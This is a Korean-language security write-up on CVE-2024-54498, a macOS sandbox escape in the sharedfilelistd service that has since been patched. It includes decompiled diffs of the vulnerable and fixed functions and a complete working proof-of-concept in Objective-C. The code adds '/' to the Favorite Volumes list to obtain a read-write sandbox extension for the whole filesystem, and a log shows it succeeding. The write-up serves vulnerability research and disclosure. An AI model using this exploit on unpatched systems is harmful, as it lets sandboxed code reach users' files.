Source Code
https://github.com/wh1te4ever/CVE-2024-54498-PoC/
Write-up


해당 취약점은 macOS Sequoia 15.2, Ventura 13.7.2, Sonoma 14.7.2에서 패치되었으며, 샌드박스를 탈출할 수 있는 취약점이다.
SharedFileList 서비스에서 취약점이 발생한다.
Diffing
취약한 macOS 15.1.1 버전과 패치된 15.2 대상으로 디핑을 진행하였다.
취약점이 발견된 바이너리는 다음과 같다.
- /System/Library/CoreServices/sharedfilelistd

바이너리를 추출해서 Bindiff를 통해 비교해봤을 때, 함수 2개의 차이점이 존재하였다.
- -[ConnectedProcess shouldExtendSandboxForListIdentifier:]
- -[ConnectedProcess canAccessItem:error:]
먼저,-[ConnectedProcessshouldExtendSandboxForListIdentifier:] 메소드를 살펴보면 다음과 같다.
• macOS 15.1.1 취약한 버전
bool __cdecl -[ConnectedProcess shouldExtendSandboxForListIdentifier:](ConnectedProcess *self, SEL a2, id a3) { id v4; // x19 bool v5; // w20 v4 = objc_retain(a3); v5 = -[ConnectedProcess isSandboxed](self, "isSandboxed") && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentApplicationItems) & 1) == 0 && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentDocumentItems) & 1) == 0 && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentServerItems) & 1) == 0 && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListFavoriteItems) & 1) == 0 && (!(unsigned int)_os_feature_enabled_impl("SharedFileList", "SecurityScopedBookmarks") || ((unsigned int)objc_msgSend(v4, "hasPrefix:", kLSSharedFileListApplicationRecentDocuments) & 1) == 0); objc_release(v4); return v5; }
• macOS 15.2 패치된 버전
bool __cdecl -[ConnectedProcess shouldExtendSandboxForListIdentifier:](ConnectedProcess *self, SEL a2, id a3) { id v4; // x19 v4 = objc_retain(a3); if ( -[ConnectedProcess isSandboxed](self, "isSandboxed") && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentApplicationItems) & 1) == 0 && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentDocumentItems) & 1) == 0 && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListRecentServerItems) & 1) == 0 && ((unsigned int)objc_msgSend(v4, "isEqual:", _kLSSharedFileListFavoriteItems) & 1) == 0 && (unsigned int)_os_feature_enabled_impl("SharedFileList", "SecurityScopedBookmarks") ) { objc_msgSend(v4, "hasPrefix:", kLSSharedFileListApplicationRecentDocuments); } objc_release(v4); return 0; }
위 함수를 보면, 패치된 버전에서는 메소드 함수가 항상 0 을 반환하고 있지만, 취약한 버전에서는 특정 조건에 따라 1 을 반환시킬 수 있다.
먼저 프로세스가 -[ConnectedProcessisSandboxed] 리턴값이 참이여야하고, 매개변수에 들어가는 a3 값이 특정한 값과 같지 않아야 한다. 같지 않아야 되는 특정값은 다음과 같다.
• kLSSharedFileListRecentApplicationItems
• kLSSharedFileListRecentDocumentItems
• kLSSharedFileListRecentServerItems
• kLSSharedFileListFavoriteItems
또,a3 매개변수가 kLSSharedFileListApplicationRecentDocuments 로 시작되지 않아야 하거나, _os_feature_enabled_impl(“SharedFileList”,”SecurityScopedBookmarks”) 함수 리턴값이 0 이여야 된다.
이러한 조건을 만족시키면 해당 메소드는 1 을 반환시킬 수 있다.
두번째로,-[ConnectedProcesscanAccessItem:error:] 메소드를 살펴보면 다음과 같다.
왼쪽은 취약한 함수, 오른쪽은 패치된 함수이다. 패치된 함수를 보면, v17값이 “/” 문자열일 경우에는 v21값은 1이 된다.

오른쪽에 패치된 코드를 보면 v21값이 1일 경우, 샌드박스에 의해 제한되었다면서 에러를 반환한다.

Analysis
취약점이 패치된 -[ConnectedProcess shouldExtendSandboxForListIdentifier:] 메소드를 먼저 살펴보자.
역참조를 해보면, -[ConnectedProcess resolveItemWithIdentifier:listIdentifier:options:reply:] 메소드에 의해 호출되는 것을 알 수 있다.

LSSharedFileListItemCopyResolvedURL 함수를 통해 호출시킬 수 있다. LSSharedFileListItemCopyResolvedURL 함수는 macOS의 LSSharedFileList API에서 사용하는 함수로, 최근 문서, 로그인 항목 등 시스템에서 사용되는 공유 목록을 관리하는 데 사용되는 북마크의 URL을 가져오는데 사용된다.
-[ConnectedProcess resolveItemWithIdentifier:listIdentifier:options:reply:] 메소드를 자세히 살펴보면,
[ConnectedProcess shouldExtendSandboxForListIdentifier:] 메소드가 1을 반환할 경우, v19에서 0x40000000LL 값을 OR 연산자로 세트시키고, 세트된 값이 -[ListManager resolveItemWithIdentifier:onList:options:reply:] 메소드로 전달된다.

[ListManager resolveItemWithIdentifier:onList:options:reply:] 메소드를 자세히 살펴보면, 먼저 bookmark 메서드를 호출하여 북마크 데이터를 가져온다.
가져온 북마크 데이터는 NSURL 클래스 메서드가 해석하여 해당 URL 객체를 반환시킨다.
URL 객체가 반환되면, -[NSURL fileSystemRepresentation] 메서드를 호출하여 파일의 경로 문자열을 가져온다.
만약 매개변수로 받는 v7이 0x40000000LL 값이 OR 연산자로 세트되어있으면, sandbox_extension_issue_file 함수를 통해 샌드박스 확장을 요청하여 토큰을 발급받을 수 있다.

그 다음으로, -[ConnectedProcess canAccessItem:error:] 메소드를 살펴보자.
역참조를 해보면, -[ConnectedProcess insertItem:atIndex:listIdentifier:reply:] 메소드에 의해 호출되는 것을 알 수 있다.

LSSharedFileListInsertItemURL 함수를 통해 호출시킬 수 있다.
LSSharedFileListInsertItemURL 함수는 macOS의 LSSharedFileList API에서 사용하는 함수로, 최근 문서, 로그인 항목 등 시스템에서 사용되는 공유 목록을 관리하는 데 사용되는 북마크에 항목을 추가하거나 기존 항목을 업데이트하는 역할을 한다.
취약점이 패치되기 전에는 “/” 루트 경로를 북마크에 추가시키는 것이 가능하였다.
Exploit
익스플로잇하는 방법은 아래와 같다.
북마크에 “/” 루트 경로를 추가한다.
북마크 종류는 다음과 같지 않아야 한다.
- kLSSharedFileListRecentApplicationItems
- kLSSharedFileListRecentDocumentItems
- kLSSharedFileListRecentServerItems
- kLSSharedFileListFavoriteItems
- kLSSharedFileListApplicationRecentDocuments 이름으로 시작되는 북마크
이제 LSSharedFileListItemResolve 함수를 호출하면, 루트인 모든 경로에 대해 샌드박스 읽기/쓰기가 가능해진다.
익스플로잇 코드를 통해 자세히 살펴보자.
https://github.com/wh1te4ever/CVE-2024-54498-PoC
int add_root_dir_to_favorites(void) { CFStringRef listType = kLSSharedFileListFavoriteVolumes; LSSharedFileListRef favoriteVolumesList = LSSharedFileListCreate(NULL, listType, NULL); if (favoriteVolumesList) { NSString *path = @"/"; CFURLRef tmpDirURL = (__bridge CFURLRef)[NSURL fileURLWithPath:path]; // Favorite Volumes에 추가 LSSharedFileListItemRef newItem = LSSharedFileListInsertItemURL( favoriteVolumesList, kLSSharedFileListItemLast, NULL, NULL, tmpDirURL, NULL, NULL ); if (newItem) { NSLog(@"[+] Successfully added %@ to Favorite Volumes.", path); CFRelease(newItem); } else { NSLog(@"[-] Failed to add %@ to Favorite Volumes.", path); } CFRelease(favoriteVolumesList); } else { NSLog(@"[-] Failed to access LSSharedFileList for Favorite Volumes."); } return 0; } int remove_root_dir_from_favorites(void) { UInt32 seedValue; LSSharedFileListRef favoriteVolsRef = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL); if (!favoriteVolsRef) { NSLog(@"[-] Failed to access favorite items list."); return 0; } CFArrayRef favoriteVols = LSSharedFileListCopySnapshot(favoriteVolsRef, &seedValue); CFIndex arrayCount = CFArrayGetCount(favoriteVols); for (CFIndex i = 0; i < arrayCount; ++i) { CFURLRef urlRef; LSSharedFileListItemRef itemRef = (LSSharedFileListItemRef)CFArrayGetValueAtIndex(favoriteVols, i); OSStatus status = LSSharedFileListItemResolve(itemRef, 0, &urlRef, NULL); if (status != noErr) { continue; } NSURL *theURL = (__bridge NSURL*) urlRef; NSString *checkPath = [theURL path]; if ([checkPath isEqualToString:@"/"]) { LSSharedFileListItemRemove(favoriteVolsRef, itemRef); NSLog(@"[+] Successfully removed root directory (/) from favorite volumes."); } CFRelease(urlRef); } CFRelease(favoriteVols); CFRelease(favoriteVolsRef); return 0; } int trigger_exploit(void) { LSSharedFileListRef recentItems = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL); if (recentItems) { NSArray *items = (__bridge NSArray *)LSSharedFileListCopySnapshot(recentItems, NULL); NSLog(@"items array: %@\\n", items); for (id item in items) { LSSharedFileListItemRef itemRef = (__bridge LSSharedFileListItemRef)item; CFErrorRef errorRef; CFURLRef itemURL = LSSharedFileListItemCopyResolvedURL(itemRef, 0, &errorRef); NSString *itemPath = [(__bridge NSURL *)itemURL path]; NSLog(@"itemPath: %@", itemPath); } CFRelease(recentItems); } else { NSLog(@"Failed to retrieve recent items."); } return 0; } int main(void) { //Exploit... add_root_dir_to_favorites(); trigger_exploit(); remove_root_dir_from_favorites(); }
북마크에 “/” 루트 경로를 추가하는데, 종류를 kLSSharedFileListFavoriteVolumes으로 정해야 한다.
그렇게 해야 -[ConnectedProcess shouldExtendSandboxForListIdentifier:] 메소드가 1을 반환하여, 0x40000000LL 값을 OR 연산자로 세트되어, 추후에 sandbox_extension_issue_file 함수를 호출시킬 수 있기 때문이다.
이제 LSSharedFileListItemResolve 함수를 호출시키면 북마크 리스트를 가져오면서 “/”, 즉 전체 경로에 대한 샌드박스 토큰을 발급받아 sandbox_extension_consume 함수를 호출하는 것을 확인할 수 있었다.
2025-01-09 20:59:24.855 CVE-2024-54498[648:5371] [+] Called sandbox_extension_consume, ret = 2, extension_token = 228a2474e63a51fb2053ff7e315c4cda08003499b72ff3d769482d5d67a94df2;00;00000000;00000000;00000000;0000000000000020;com.apple.app-sandbox.read-write;01;01000013;0000000000000002;02;/ 2025-01-09 20:59:24.858 CVE-2024-54498[648:5371] [+] sandbox_extension_consume trace: ( 0 CVE-2024-54498 0x0000000102caea68 hook_sandbox_extension_consume + 84 1 CoreServicesInternal 0x00000001945717fc _ZN21SandboxExtensionCache8_consumeEPK10__CFStringPK8__CFDataPS5_ + 204 2 CoreServicesInternal 0x00000001945716a0 _ZN21SandboxExtensionCache7consumeEPK7__CFURLPK8__CFData + 104 3 CoreServicesInternal 0x000000019456e738 _FSURLStartAccessingSecurityScopedResource + 84 4 CoreFoundation 0x0000000190c91cf8 CFURLStartAccessingSecurityScopedResource + 16 5 CoreFoundation 0x0000000190c91cbc -[NSURL startAccessingSecurityScopedResource] + 68 6 SharedFileList 0x0000000199d55174 __47-[_SFLItemWrapper initWithItem:listIdentifier:]_block_invoke + 332 7 SharedFileList 0x0000000199d54c84 -[SFLBookmark resolveWithOptions:relativeToURL:error:] + 128 8 SharedFileList 0x0000000199d54ac8 +[SFLList(LSSharedFileListSupport) resolveItem:resolutionFlags:error:] + 84 9 SharedFileList 0x0000000199d60e64 LSSharedFileListItemCopyResolvedURL + 144 10 CVE-2024-54498 0x0000000102cae45c trigger_exploit + 336 11 CVE-2024-54498 0x0000000102cae8a4 -[ViewController exploitButton:] + 268 12 AppKit 0x00000001948ec87c -[NSApplication(NSResponder) sendAction:to:from:] + 460 13 AppKit 0x00000001948ec680 -[NSControl sendAction:to:] + 72 14 AppKit 0x00000001948ec5c4 __26-[NSCell _sendActionFrom:]_block_invoke + 100 15 AppKit 0x00000001948ec4ec -[NSCell _sendActionFrom:] + 204 16 AppKit 0x00000001948ec3e8 -[NSButtonCell _sendActionFrom:] + 96 17 AppKit 0x00000001948e9970 NSControlTrackMouse + 1480 18 AppKit 0x00000001948e937c -[NSCell trackMouse:inRect:ofView:untilMouseUp:] + 144 19 AppKit 0x00000001948e91f4 -[NSButtonCell trackMouse:inRect:ofView:untilMouseUp:] + 580 20 AppKit 0x00000001948e8678 -[NSControl mouseDown:] + 448 21 AppKit 0x00000001948e7518 -[NSWindow(NSEventRouting) _handleMouseDownEvent:isDelayedEvent:] + 3672 22 AppKit 0x000000019487300c -[NSWindow(NSEventRouting) _reallySendEvent:isDelayedEvent:] + 384 23 AppKit 0x0000000194872cbc -[NSWindow(NSEventRouting) sendEvent:] + 284 24 AppKit 0x000000019508abf0 -[NSApplication(NSEventRouting) sendEvent:] + 1656 25 AppKit 0x0000000194c9889c -[NSApplication _handleEvent:] + 60 26 AppKit 0x000000019473eb08 -[NSApplication run] + 520 27 AppKit 0x0000000194715364 NSApplicationMain + 888 28 CVE-2024-54498 0x0000000102cadf78 main + 44 29 dyld 0x00000001907b8274 start + 2840 )
